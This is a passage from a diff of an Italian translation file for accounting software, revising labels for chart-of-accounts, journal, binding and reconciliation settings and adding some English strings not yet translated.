successivi dovrebbero essere eseguiti per farti risparmiare tempo in futuro suggerendoti automaticamente l'account di contabilità predefinito corretto durante il trasferimento dei dati nella contabilità +AccountancyAreaDescActionOnceBis=I passaggi successivi dovrebbero essere eseguiti per farti risparmiare tempo in futuro suggerendoti automaticamente il conto di contabilità predefinito corretto durante il trasferimento dei dati in contabilità AccountancyAreaDescActionFreq=Le seguenti azioni vengono di solito eseguite ogni mese, settimana o giorno per le grandi compagnie... -AccountancyAreaDescJournalSetup=PASSO %s: controlla il contenuto dell'elenco del tuo diario dal menu %s -AccountancyAreaDescChartModel=PASSAGGIO %s: verifica l'esistenza di un modello di piano dei conti o creane uno dal menu %s -AccountancyAreaDescChart=PASSAGGIO %s: selezionare e/o completare il piano dei conti dal menu %s +AccountancyAreaDescJournalSetup=STEP %s: controlla il contenuto dell'elenco dei tuoi giornali dal menu %s +AccountancyAreaDescChartModel=STEP %s: verifica l'esistenza di un modello di piano dei conti o creane uno dal menu %s +AccountancyAreaDescChart=STEP %s: selezionare e/o completare il piano dei conti dal menu %s AccountancyAreaDescVat=STEP %s: Definisci le voci del piano dei conti per ogni IVA/tassa. Per fare ciò usa il menu %s. -AccountancyAreaDescDefault=STEP %s: Definisci gli account di contabilità di default. Per questo, usa la voce menù %s. +AccountancyAreaDescDefault=STEP %s: Definisci i conti di contabilità di default. Per questo, usa la voce menù %s. AccountancyAreaDescExpenseReport=PASSAGGIO %s: definire i conti contabili predefiniti per ogni tipo di nota spese. A tale scopo, utilizzare la voce di menu %s. AccountancyAreaDescSal=STEP %s: Definisci le voci del piano dei conti per gli stipendi. Per fare ciò usa il menu %s. AccountancyAreaDescContrib=PASSAGGIO %s: Definire i conti contabili predefiniti per le imposte (spese speciali). A tale scopo, utilizzare la voce di menu %s. AccountancyAreaDescDonation=STEP %s: Definisci le voci del piano dei conti per le donazioni. Per fare ciò usa il menu %s. -AccountancyAreaDescSubscription=STEP %s: Definisci gli account di contabilità di default per le sottoscrizioni membro. Per questo, usa la voce di menù %s. -AccountancyAreaDescMisc=STEP %s: Definisci l'account obbligatorio e gli account di contabilità per le transazioni varie. Per questo, usa la voce di menù %s -AccountancyAreaDescLoan=STEP %s: Definisci gli account di contabilità di default per i prestiti. Per questo, usa la voce di menù %s. +AccountancyAreaDescSubscription=STEP %s: Definisci i conti di contabilità di default per le sottoscrizioni dei membri. Per questo, usa la voce di menù %s. +AccountancyAreaDescMisc=STEP %s: Definisci il conto obbligatorio e il conto di contabilità per i movimenti vari. Per questo, usa la voce di menù %s +AccountancyAreaDescLoan=STEP %s: Definisci i conti di contabilità di default per i prestiti. Per questo, usa la voce di menù %s. AccountancyAreaDescBank=STEP %s: Definisci le voci del piano dei conti per i giornali per ogni banca o conto finanziario. Per fare ciò usa il menu %s. AccountancyAreaDescProd=PASSO %s: Definisci conti contabili sui tuoi prodotti/servizi. A tale scopo, utilizzare la voce di menu %s. -AccountancyAreaDescBind=STEP %s: Controlla i legami fra queste %s linee esistenti e l'account di contabilità, così che l'applicazione sarà in grado di registrare le transazioni nel Libro contabile in un click. Completa i legami mancanti. Per questo, usa la voce di menù %s. -AccountancyAreaDescWriteRecords=STEP %s: Scrivi le transazioni nel piano contabile. Per fare ciò, vai nel menu %s, e clicca sul bottone %s. -AccountancyAreaDescAnalyze=STEP %s: Aggiunti o modifica le transazioni esistenti e genera i report e exportali. +AccountancyAreaDescBind=STEP %s: Controlla i legami fra queste %s linee esistenti e il conto di contabilità, così che l'applicazione sarà in grado di registrare i movimenti nel Libro contabile in un click. Completa i legami mancanti. Per questo, usa la voce di menù %s. +AccountancyAreaDescWriteRecords=STEP %s: Scrivi i movimenti nel libro mastro. Per fare ciò, vai nel menu %s, e clicca sul bottone %s. +AccountancyAreaDescAnalyze=STEP %s: Aggiungi o modifica i movimenti esistenti e genera i report e le esportazioni. AccountancyAreaDescClosePeriod=STEP %s: Chiudo il periodo così non verranno fatte modifiche in futuro. @@ -96,10 +98,11 @@ AccountAccountingShort=Conto SubledgerAccount=Conto del registro secondario SubledgerAccountLabel=Etichetta del conto Registro secondario ShowAccountingAccount=Mostra conti di contabilità -ShowAccountingJournal=Mostra diario contabile +ShowAccountingJournal=Mostra giornale ShowAccountingAccountInLedger=Mostra conto contabile nel libro mastro ShowAccountingAccountInJournals=Mostra conto contabile nei giornali di registrazione -AccountAccountingSuggest=Conto suggerito per contabilità +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Conti predefiniti MenuBankAccounts=Conti bancari MenuVatAccounts=Conti IVA @@ -114,21 +117,22 @@ ProductsBinding=Conti prodotti TransferInAccounting=Trasferimento in contabilità RegistrationInAccounting=Registrazione in contabilità Binding=Associazione ai conti -CustomersVentilation=Collegamento fatture attive +CustomersVentilation=Associa fatture attive SuppliersVentilation=Associa fattura fornitore ExpenseReportsVentilation=Associa nota spese -CreateMvts=Crea nuova transazione -UpdateMvts=Modifica una transazione -ValidTransaction=Valida transazione -WriteBookKeeping=Registra le transazioni in contabilità +CreateMvts=Crea nuovo movimento +UpdateMvts=Modifica movimento +ValidTransaction=Convalida movimento +WriteBookKeeping=Registra i movimenti in contabilità Bookkeeping=Libro contabile -BookkeepingSubAccount=Subledger +BookkeepingSubAccount=Conto secondario AccountBalance=Saldo +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Sorgente oggetto in riferimento CAHTF=Totale acquisto al lordo delle imposte TotalExpenseReport=Rapporto spese totale InvoiceLines=Righe di fatture da vincolare -InvoiceLinesDone=Righe di fatture bloccate +InvoiceLinesDone=Righe di fatture vincolate ExpenseReportLines=Linee di note spese da associare ExpenseReportLinesDone=Linee vincolate di note spese IntoAccount=Collega linee con il piano dei conti @@ -160,43 +164,48 @@ ACCOUNTING_MANAGE_ZERO=Consentire di gestire un diverso numero di zeri alla fine BANK_DISABLE_DIRECT_INPUT=Disabilita la registrazione diretta della transazione nel conto bancario ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Abilita la bozza di esportazione sul giornale ACCOUNTANCY_COMBO_FOR_AUX=Abilita l'elenco combinato per l'account sussidiario (potrebbe essere lento se hai molte terze parti, interrompere la capacità di cercare su una parte del valore) -ACCOUNTING_DATE_START_BINDING=Definisci una data per iniziare la rilegatura e il trasferimento in contabilità. Al di sotto di tale data, le transazioni non saranno trasferite in contabilità. +ACCOUNTING_DATE_START_BINDING=Definisci una data per iniziare il consolidamento e il trasferimento in contabilità. Al di sotto di tale data, i movimenti non saranno trasferiti in contabilità. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Al momento del trasferimento contabile, qual è il periodo selezionato di default -ACCOUNTING_SELL_JOURNAL=Giornale Vendite -ACCOUNTING_PURCHASE_JOURNAL=Giornale Acquisti -ACCOUNTING_MISCELLANEOUS_JOURNAL=Giornale Varie +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Giornale Note Spese -ACCOUNTING_SOCIAL_JOURNAL=Giornale Sociale +ACCOUNTING_MISCELLANEOUS_JOURNAL=Giornale generale ACCOUNTING_HAS_NEW_JOURNAL=Ha un nuovo giornale +ACCOUNTING_INVENTORY_JOURNAL=Giornale inventario +ACCOUNTING_SOCIAL_JOURNAL=Giornale Sociale ACCOUNTING_RESULT_PROFIT=Conto contabile risultante (profitto) ACCOUNTING_RESULT_LOSS=Conto contabile risultato (perdita) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Giornale di chiusura -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Conto contabile del bonifico bancario transitorio +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Conto di trasferimento bancario transitorio -ACCOUNTING_ACCOUNT_SUSPENSE=Conto di contabilità di attesa -DONATION_ACCOUNTINGACCOUNT=Conto di contabilità per registrare le donazioni -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Conto contabile per registrare gli abbonamenti +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Conto contabile per impostazione predefinita per registrare il deposito del cliente +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Memorizzare il conto cliente come conto individuale nel libro mastro sussidiario per le righe di acconto (se disabilitato, il conto individuale per le righe di acconto rimarrà vuoto) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Memorizzare il conto fornitore come conto individuale nel libro mastro sussidiario per le righe di acconto (se disabilitato, il conto individuale per le righe di acconto rimarrà vuoto) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Conto di contabilità predefinito per i prodotti acquistati (se non definito nella scheda prodotto) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Conto contabile predefinito per i prodotti acquistati in CEE (usato se non definito nella scheda prodotto) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Conto contabile predefinito per i prodotti acquistati e importati al di fuori della CEE (usato se non definito nella scheda prodotto) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Conto di contabilità predefinito per i prodotti venduti (se non definito nella scheda prodotto) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Conto contabile per impostazione predefinita per i prodotti venduti in CEE (utilizzato se non definito nella scheda prodotto) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Conto contabile per impostazione predefinita per l'esportazione dei prodotti venduti fuori dalla CEE (utilizzato se non definito nella scheda prodotto) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Conto di contabilità per impostazione predefinita per i servizi acquistati (utilizzato se non definito nel foglio di servizio) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Conto contabile per impostazione predefinita per i servizi acquistati in CEE (usato se non definito nel foglio di servizio) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Conto contabile per impostazione predefinita per i servizi acquistati e importati al di fuori della CEE (usato se non definito nel foglio di servizio) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Conto di contabilità per impostazione predefinita per i servizi venduti (utilizzato se non definito nel foglio di servizio) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Conto contabile predefinito per i servizi venduti nella CEE (solo se non definito nella scheda servizio) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Conto contabile predefinito per i servizi venduti ed esportati fuori dalla CEE (solo se non definito nella scheda servizio) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Tipo documento Docdate=Data @@ -210,10 +219,11 @@ Lettering=Impressioni Codejournal=Giornale JournalLabel=Etichetta del giornale NumPiece=Numero del pezzo -TransactionNumShort=Num. transazione -AccountingCategory=Gruppo personalizzato +TransactionNumShort=Num. movimento +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Raggruppa per conto di contabilità generale -GroupBySubAccountAccounting=Raggruppa per conto subledger +GroupBySubAccountAccounting=Raggruppa per conto secondario AccountingAccountGroupsDesc=Qui puoi definire alcuni gruppi di conti contabili. Saranno utilizzati per rapporti contabili personalizzati. ByAccounts=Per conto ByPredefinedAccountGroups=Per gruppi predefiniti @@ -228,50 +238,52 @@ ConfirmDeleteMvt=Ciò cancellerà tutte le righe contabili per l'anno/mese e/o p ConfirmDeleteMvtPartial=Questo cancellerà la transazione dalla contabilità (tutte le righe relative alla stessa transazione verranno eliminate) FinanceJournal=Giornale delle finanze ExpenseReportsJournal=Rapporto spese +InventoryJournal=Giornale inventario DescFinanceJournal=Giornale finanziario che include tutti i tipi di pagamenti per conto bancario DescJournalOnlyBindedVisible=Questa è una vista di registrazione che è vincolata a un conto contabile e può essere registrata nei giornali e nel libro mastro. VATAccountNotDefined=Conto per IVA non definito ThirdpartyAccountNotDefined=Conto per terze parti non definito -ProductAccountNotDefined=Account per prodotto non definito +ProductAccountNotDefined=Conto per prodotto non definito FeeAccountNotDefined=Conto per tassa non definito BankAccountNotDefined=Conto per banca non definito CustomerInvoicePayment=Pagamento fattura attiva ThirdPartyAccount=Conto terze parti NewAccountingMvt=Nuova transazione -NumMvts=Numero della transazione +NumMvts=Numero movimento ListeMvts=Lista dei movimenti ErrorDebitCredit=Debito e Credito non possono avere un valore contemporaneamente AddCompteFromBK=Aggiungi conto di contabilità al gruppo ReportThirdParty=Elenca conti di terze parti DescThirdPartyReport=Consulta qui l'elenco dei clienti e fornitori di terze parti e i loro conti contabili -ListAccounts=Lista delle voci del piano dei conti +ListAccounts=Elenco delle voci del piano dei conti UnknownAccountForThirdparty=Conto di terze parti sconosciuto. Useremo %s UnknownAccountForThirdpartyBlocking=Conto di terze parti sconosciuto. Errore di blocco -ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Account subledger non definito o di terze parti o utente sconosciuto. Useremo %s -ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored=Terze parti sconosciuta e sottoconti non definiti nel pagamento. Manterremo vuoto il valore sottoconto dell'account. -ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Account subledger non definito o di terze parti o utente sconosciuto. Errore di blocco. +ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Account secondario non definito o terze parte / utente sconosciuto. Verrà usato %s +ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored=Terza parte sconosciuta e conto secondario non definito nel pagamento. Verrà mantenuto vuoto il valore del conto secondario. +ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Account secondario non definito o terze parte / utente sconosciuto. Errore bloccante. UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking=Unknown third-party account and waiting account not defined. Blocking error -PaymentsNotLinkedToProduct=Payment not linked to any product / service +PaymentsNotLinkedToProduct=Pagamento non collegato a nessun prodotto / servizio OpeningBalance=Saldo di apertura ShowOpeningBalance=Mostra bilancio di apertura HideOpeningBalance=Nascondi bilancio di apertura ShowSubtotalByGroup=Mostra il totale parziale per livello Pcgtype=Gruppo di conto -PcgtypeDesc=Il gruppo di conti viene utilizzato come criterio 'filtro' e 'raggruppamento' predefiniti per alcuni report contabili. Ad esempio, "REDDITO" o "SPESA" sono utilizzati come gruppi per la contabilità dei prodotti per creare il rapporto spese / entrate. +PcgtypeDesc=Il gruppo di conti viene utilizzato come criterio 'filtro' e 'raggruppamento' predefiniti per alcuni report contabili. Ad esempio, "RICAVO" o "COSTO" sono utilizzati come gruppi per la contabilità dei prodotti per creare il rapporto costi / ricavi. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=riconciliabile TotalVente=Fatturato totale al lordo delle imposte TotalMarge=Margine totale sulle vendite -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -279,30 +291,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Chiusura annuale -DescClosure=Consult here the number of movements by month not yet validated & locked +DescClosure=Consulta qui il numero di movimenti per mese non ancora convalidati e bloccati OverviewOfMovementsNotValidated=Panoramica dei movimenti non convalidati e bloccati AllMovementsWereRecordedAsValidated=Tutti i movimenti sono stati registrati come convalidati e bloccati NotAllMovementsCouldBeRecordedAsValidated=Non tutti i movimenti possono essere registrati come convalidati e bloccati -ValidateMovements=Convalida e blocca record... +ValidateMovements=Convalida e blocca i movimenti... DescValidateMovements=Qualsiasi modifica o cancellazione di scrittura, lettura e cancellazione sarà vietata. Tutte le voci per un esercizio devono essere convalidate altrimenti la chiusura non sarà possibile ValidateHistory=Collega automaticamente AutomaticBindingDone=Associazioni automatiche eseguite (%s) - Associazioni automatiche non possibili per alcuni record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Errore, non puoi cancellare la voce del piano dei conti perché è utilizzata +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movimento non correttamente bilanciato. Debito = %s e credito = %s Balancing=Balancing FicheVentilation=Binding card -GeneralLedgerIsWritten=Transazioni scritte nel libro contabile -GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=Nessun record da trasferire -ListOfProductsWithoutAccountingAccount=Lista di prodotti non collegati a nessun piano dei conti +GeneralLedgerIsWritten=Movimenti scritti nel libro mastro contabile +GeneralLedgerSomeRecordWasNotRecorded=Alcuni movimenti non possono essere contabilizzati. Se non ci sono altri messaggi di errore, significa probabilmente che sono già stati contabilizzati. +NoNewRecordSaved=Nessun record da trasferire in contabilità +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Cambia il piano dei conti Accounted=Accounted in ledger NotYetAccounted=Non ancora trasferito in contabilità ShowTutorial=Mostra tutorial NotReconciled=Non conciliata -WarningRecordWithoutSubledgerAreExcluded=Attenzione, tutte le righe senza conto subledger definito vengono filtrate ed escluse da questa visualizzazione +WarningRecordWithoutSubledgerAreExcluded=Attenzione, tutte le righe senza conto secondario definito vengono filtrate ed escluse da questa visualizzazione AccountRemovedFromCurrentChartOfAccount=Conto contabile che non esiste nel piano dei conti corrente ## Admin @@ -310,18 +323,19 @@ BindingOptions=Opzioni di rilegatura ApplyMassCategories=Applica categorie di massa AddAccountFromBookKeepingWithNoCategories=Available account not yet in the personalized group CategoryDeleted=Category for the accounting account has been removed -AccountingJournals=Libri contabili -AccountingJournal=Accounting journal -NewAccountingJournal=New accounting journal -ShowAccountingJournal=Mostra diario contabile -NatureOfJournal=Natura del diario -AccountingJournalType1=Miscellaneous operations +AccountingJournals=Giornali (causali) +AccountingJournal=Giornale (causale) +NewAccountingJournal=Nuovo giornale +ShowAccountingJournal=Mostra giornale +NatureOfJournal=Natura del giornale +AccountingJournalType1=Operazioni varie AccountingJournalType2=Vendite AccountingJournalType3=Acquisti AccountingJournalType4=Banca -AccountingJournalType5=Rimborsi spese +AccountingJournalType5=Note spese AccountingJournalType8=Inventario -AccountingJournalType9=Has-new +AccountingJournalType9=Apertura (nuovo anno) +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Questo giornale è già in uso AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -329,13 +343,17 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disabilita vincolante e trasferimento in contabilità sulle vendite (le fatture dei clienti non verranno prese in considerazione in contabilità) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disabilita vincolante e trasferimento in contabilità sugli acquisti (le fatture fornitore non verranno prese in considerazione in contabilità) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disabilita binding e trasferimento in contabilità sulle note spese (le note spese non verranno prese in considerazione in contabilità) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Contrassegna le righe esportate come Esportate (per modificare una riga è necessario eliminare l'intera transazione e ritrasferirla in contabilità) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Convalida e Blocca le voci esportate (stesso effetto della funzione "%s", la modifica e la cancellazione delle righe NON sarà SICURAMENTE possibile) +NotifiedExportFull=Export documents ? DateValidationAndLock=Convalida e blocco della data ConfirmExportFile=Conferma della generazione del file di esportazione contabile? -ExportDraftJournal=Export draft journal +ExportDraftJournal=Esporta giornale in bozza Modelcsv=Modello di esportazione Selectmodelcsv=Seleziona un modello di esportazione Modelcsv_normal=Esportazione classica @@ -362,43 +380,47 @@ ChartofaccountsId=Id Piano dei Conti ## Tools - Init accounting account on product / service InitAccountancy=Inizializza contabilità -InitAccountancyDesc=This page can be used to initialize an accounting account on products and services that does not have accounting account defined for sales and purchases. -DefaultBindingDesc=This page can be used to set a default account to use to link transactions record about payment salaries, donation, taxes and vat when no specific accounting account were already set. -DefaultClosureDesc=This page can be used to set parameters used for accounting closures. +InitAccountancyDesc=Questa pagina può essere utilizzata per inizializzare un conto di contabilità collegato ai prodotti e ai servizi che non hanno un conto di contabilità definito per le vendite e gli acquisti. +DefaultBindingDesc=Questa pagina può essere utilizzata per impostare una voce del piano dei conti predefinita da utilizzare per collegare i record delle transazioni di pagamento stipendi, donazioni, tasse e IVA quando non è stato già impostato un conto contabile specifico. +DefaultClosureDesc=In questa pagina è possibile impostare i parametri utilizzati per le chiusure contabili. Options=Opzioni OptionModeProductSell=Modalità vendita -OptionModeProductSellIntra=Mode sales exported in EEC -OptionModeProductSellExport=Mode sales exported in other countries +OptionModeProductSellIntra=Modalità vendita per esportazioni intracomunitarie (CEE) +OptionModeProductSellExport=Modalità vendita per esportazioni in altri paesi (Extra-CEE) OptionModeProductBuy=Modalità acquisto -OptionModeProductBuyIntra=Acquisti in modalità importati in CEE -OptionModeProductBuyExport=Modalità acquistata importata da altri paesi -OptionModeProductSellDesc=Show all products with accounting account for sales. -OptionModeProductSellIntraDesc=Show all products with accounting account for sales in EEC. -OptionModeProductSellExportDesc=Show all products with accounting account for other foreign sales. -OptionModeProductBuyDesc=Show all products with accounting account for purchases. +OptionModeProductBuyIntra=Modalità acquisti per importazioni intracomunitarie (CEE) +OptionModeProductBuyExport=Modalità acquisti per importazioni da altri paesi (Extra-CEE) +OptionModeProductSellDesc=Mostra tutti i prodotti con un conto contabile per le vendite +OptionModeProductSellIntraDesc=Mostra tutti i prodotti con un conto contabile per le vendite intracomunitarie (CEE). +OptionModeProductSellExportDesc=Mostra tutti i prodotti con un conto contabile per le vendite estere. +OptionModeProductBuyDesc=Mostra tutti i prodotti con un conto contabile per gli acquisti. OptionModeProductBuyIntraDesc=Mostra tutti i prodotti con conto contabile per gli acquisti in CEE. OptionModeProductBuyExportDesc=Mostra tutti i prodotti con conto contabile per altri acquisti esteri. CleanFixHistory=Remove accounting code from lines that not exists into charts of account CleanHistory=Resetta tutti i collegamenti per l'anno corrente PredefinedGroups=Gruppi predefiniti -WithoutValidAccount=Without valid dedicated account -WithValidAccount=With valid dedicated account -ValueNotIntoChartOfAccount=This value of accounting account does not exist into chart of account +WithoutValidAccount=Senza un conto dedicato +WithValidAccount=Con un conto dedicato +ValueNotIntoChartOfAccount=Questo valore di voce del piano dei conti non esiste nel piano dei conti AccountRemovedFromGroup=Account removed from group SaleLocal=Local sale SaleExport=Export sale -SaleEEC=Sale in EEC +SaleEEC=Vendite intracomunitarie (CEE) SaleEECWithVAT=Vendita in CEE con IVA non nulla, quindi supponiamo che questa NON sia una vendita intracomunitaria e l'account suggerito sia l'account standard del prodotto. -SaleEECWithoutVATNumber=La vendita nella CEE senza IVA ma la partita IVA di terzi non è definita. Eseguiamo il fallback sull'account del prodotto per le vendite standard. È possibile correggere l'ID IVA di terze parti o l'account del prodotto, se necessario. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Vietato: la transazione è stata convalidata e/o esportata. -ForbiddenTransactionAlreadyValidated=Vietato: la transazione è stata convalidata. +ForbiddenTransactionAlreadyValidated=Vietato: il movimento è stato convalidato. ## Dictionary Range=Range of accounting account Calculated=Calcolato Formula=Formula ## Reconcile +LetteringAuto=Riconciliazione automatica +LetteringManual=Riconciliazione manuale Unlettering=Non riconciliarsi +UnletteringAuto=Annulla riconciliazione automatica +UnletteringManual=Annulla riconciliazione manuale AccountancyNoLetteringModified=Nessuna riconciliazione modificata AccountancyOneLetteringModifiedSuccessfully=Una riconciliazione modificata con successo AccountancyLetteringModifiedSuccessfully=%s riconcilia modificato con successo @@ -407,39 +429,41 @@ AccountancyOneUnletteringModifiedSuccessfully=Una riconciliazione modificata con AccountancyUnletteringModifiedSuccessfully=%s annulla la riconciliazione modificata con successo ## Confirm box -ConfirmMassUnlettering=Bulk Conferma di non riconciliazione +ConfirmMassUnletteringAuto=Conferma di annullamento riconciliazione automatica massiva +ConfirmMassUnletteringManual=Conferma di annullamento riconciliazione manuale massiva ConfirmMassUnletteringQuestion=Sei sicuro di voler annullare la riconciliazione dei record selezionati %s? ConfirmMassDeleteBookkeepingWriting=Conferma eliminazione massiva ConfirmMassDeleteBookkeepingWritingQuestion=Questo cancellerà la transazione dalla contabilità (tutte le righe relative alla stessa transazione verranno eliminate) Sei sicuro di voler eliminare i record %s selezionati? ## Error -SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them +SomeMandatoryStepsOfSetupWereNotDone=Alcuni step obbligatori della configurazione non sono stati completati. Si prega di completarli ErrorNoAccountingCategoryForThisCountry=Nessun gruppo di piano dei conti disponibile per il paese %s ( Vedi Home - Impostazioni - Dizionari ) ErrorInvoiceContainsLinesNotYetBounded=You try to journalize some lines of the invoice %s, but some other lines are not yet bounded to accounting account. Journalization of all invoice lines for this invoice are refused. ErrorInvoiceContainsLinesNotYetBoundedShort=Alcune righe della fattura non sono collegato a un piano dei conti. ExportNotSupported=Il formato di esportazione configurato non è supportato in questa pagina BookeppingLineAlreayExists=Lines already existing into bookkeeping -NoJournalDefined=No journal defined +NoJournalDefined=Nessun giornale definito Binded=Linee collegate ToBind=Linee da vincolare -UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually +UseMenuToSetBindindManualy=Righe non ancora 